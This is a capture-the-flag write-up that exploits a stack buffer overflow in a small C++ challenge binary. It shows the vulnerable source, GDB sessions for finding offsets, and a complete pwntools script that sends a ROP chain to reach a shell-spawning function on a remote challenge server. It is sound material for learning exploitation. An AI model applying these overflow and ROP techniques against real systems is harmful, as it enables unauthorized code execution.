The Vulnerability

We have a binary with debug info and the following source code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void Setup() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
}

#define SYMBOLS "ABCDEF"

__attribute__((used, hot, noinline))
void Flag() {
  system("/bin/sh");
}

void GenerateGreeting(
  char patternSymbol,
  int patternCount
) {
  char output[2312] = { 0 };
  int outputCursor = 0;
  for (int i = 0; i < patternCount; i += 1) {
    output[outputCursor++] = patternSymbol;
  }
  output[outputCursor++] = '\n';

  printf("enter greeting: \n");
  outputCursor += read(0, &output[outputCursor], 128);

  for (int i = 0; i < patternCount; i += 1) {
    output[outputCursor++] = patternSymbol;
  }
  output[outputCursor++] = '\n';

  printf("%s\n", output);
}

int main() {
  Setup();

  printf("enter pattern character: \n");
  char patternSymbol;
  scanf("%c", &patternSymbol);
  getchar();
  
  printf("enter number of symbols: \n");
  char numberString[512];
  int readAmount = read(0, numberString, sizeof(numberString) - 1);
  numberString[readAmount] = '\0';

  int mappings[sizeof(SYMBOLS)] = { 0 };
  for (int i = 0; i < readAmount; i += 1) {
    char current = numberString[i];
    int index = 0;
    for (const auto symbol: SYMBOLS) {
      if (current == symbol) {
        mappings[index] += 1;
      }
      index += 1;
    }
  }

  int patternCount = 0;
  int power = 1;
  for (int i = 0; i < sizeof(SYMBOLS); ++i) {
    if (mappings[i] > 3) {
      abort();
    }
    patternCount += power * mappings[i];
    power *= 3;
  }

  GenerateGreeting(patternSymbol, patternCount);
}

checksec indicates that the binary has no canary or PIE and there’s a flag function, so we’re probably going to be redirecting execution to the flag function with a buffer overflow. There is a buffer in main, but the call to read on line 50 is safe. The GenerateGreeting function writes to a buffer of size 2312 and it does not check if outputCursor gets too big, so if we can make patternCount big enough, we will get a buffer overflow and we can use the call to read on line 30 to overwrite the return address.

The code in main first uses the mappings array to count the number of times each of the characters in SYMBOLS occurs in our input. Then it computes patternCount with a process that is similar to interpreting the counts as a base-3 integer, except that the digit 3 is allowed. SYMBOLS is the string literal "ABCDEF", and in C++, string literals are const char arrays with size equal to the number of characters plus one for the null terminator. Therefore, sizeof(SYMBOLS) is 7, and the range-based for loop will loop over the six letters and the null character at the end. The maximum value of patternCount that we can get is 3 + 3 * 3 + 3 * 3^2 + … + 3 * 3^6 = 3279, which is enough to overflow the buffer.

Exploitation

Overwriting the Return Address

My initial plan was to make patternCount equal to the offset from the buffer to the return address so that I can overwrite the return address with the address of the flag function using the read call. I got the offset by staring at the raw assembly, but I later found out that since the binary had debugging information, I could have had GDB print the assembly with the corresponding source code using disas/m or made GDB calculate the offset for me:

gef➤  b GenerateGreeting
Breakpoint 1 at 0x401216: file main.cpp, line 22.
gef➤  r
...
gef➤  info frame
Stack level 0, frame at 0x7fffffffdf40:
 rip = 0x401216 in GenerateGreeting (main.cpp:22); saved rip = 0x4014a9
 called by frame at 0x7fffffffe1b0
 source language c++.
 Arglist at 0x7fffffffdf30, args: patternSymbol=0x41, patternCount=0xd
 Locals at 0x7fffffffdf30, Previous frame's sp is 0x7fffffffdf40
 Saved registers:
  rbp at 0x7fffffffdf30, rip at 0x7fffffffdf38
gef➤  p (void*)0x7fffffffdf38 - output
$1 = 0x928

0x928 is 2344, and I subtracted 3 * 3^6 for three null characters to get 157, which is 12211 in base 3. I therefore had my solve script send b"ABCCDDE\0\0\0" for the “number of symbols”:

from pwn import *

exe = ELF("./main")
context.binary = exe
r = process([exe.path])

rop = ROP(exe)
rop.call("_Z4Flagv", ())
log.info(rop.dump())

r.sendlineafter(b"character: \n", b"A")
r.sendlineafter(b"symbols: \n", b"ABCCDDE\0\0\0")
r.sendafter(b"greeting: \n", rop.chain())

Debugging

When I ran the solve script, the return address didn’t get overwritten with the address of the flag function. I stepped through the code with GDB and noticed that at some point, the loop counter i suddenly gets a big value which makes the loop stop early. It turns out that this is because i is stored on the stack after the buffer and gets overwritten:

gef➤  p $rbp-output
$1 = 0x920
gef➤  p $rbp-(void*)&i
$2 = 0x8

This still gets us close enough to the return address though. I used a pattern to find how many bytes we have to write before reaching the return address:

r.sendafter(b"greeting: \n", cyclic(128))
gef➤  u 32
...
gef➤  info frame
Stack level 0, frame at 0x7ffffd6798a0:
 rip = 0x4012c8 in GenerateGreeting (main.cpp:32); saved rip = 0x6166616161656161
 called by frame at 0x7ffffd6798a8
 source language c++.
 Arglist at 0x7ffffd679890, args: patternSymbol=0x41, patternCount=0x928
 Locals at 0x7ffffd679890, Previous frame's sp is 0x7ffffd6798a0
 Saved registers:
  rbp at 0x7ffffd679890, rip at 0x7ffffd679898
gef➤  pattern search -n 4 0x7ffffd679898
[+] Searching for '0x7ffffd679898'
[+] Found at offset 14 (little-endian search) likely

Then I tried adding this many bytes of padding before the flag function address:

r.sendafter(b"greeting: \n", rop.generatePadding(0, 14) + rop.chain())

However, the program segfaults inside the loop that writes the pattern characters after the greeting:

Screenshot of GDB showing the segfault

I noticed that outputCursor is 0x61626180, which indicates that it was overwritten by our padding since 0x61 is 'a'. So outputCursor is also stored after the buffer, and we overwrote it with a big value which caused the loop to segfault when it attempts to write to output[outputCursor]. To fix this, I added four null bytes to the padding to overwrite outputCursor back to 0:

r.sendafter(b"greeting: \n", b"BB\0\0\0\0" + rop.generatePadding(6, 8) + rop.chain())

When I ran this, I got a segfault on a movaps instruction and rsp ends with 8, which indicates we have a stack alignment problem:

Screenshot of GDB showing the segfault on a <code>movaps</code> instruction

I padded the ROP chain with a ret instruction and now the exploit works:

rop = ROP(exe)
rop.raw(rop.find_gadget(["ret"]))
rop.call("_Z4Flagv", ())
log.info(rop.dump())
[ctf@fedora-ctf ~]$ ./solve.py 
[*] '/home/ctf/main'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/ctf/main': pid 2863
[*] Loaded 5 cached gadgets for './main'
[*] 0x0000:         0x401016 ret
    0x0008:         0x4011e7 _Z4Flagv()
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACA

$ ls
bin     Documents  foo     main      Music    Public      Templates
Desktop  Downloads  ghidra  main.cpp  Pictures    solve.py  Videos

Full solve script:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./main")

context.binary = exe

# r = process([exe.path])
# r = gdb.debug([exe.path])
r = remote("challs.htsp.ro", 8004)

rop = ROP(exe)
rop.raw(rop.find_gadget(["ret"]))
rop.call("_Z4Flagv", ())
log.info(rop.dump())

r.sendlineafter(b"character: \n", b"A")
r.sendlineafter(b"symbols: \n", b"ABCCDDE\0\0\0")
r.sendafter(b"greeting: \n", b"BB\0\0\0\0" + rop.generatePadding(0, 8) + rop.chain())

r.interactive()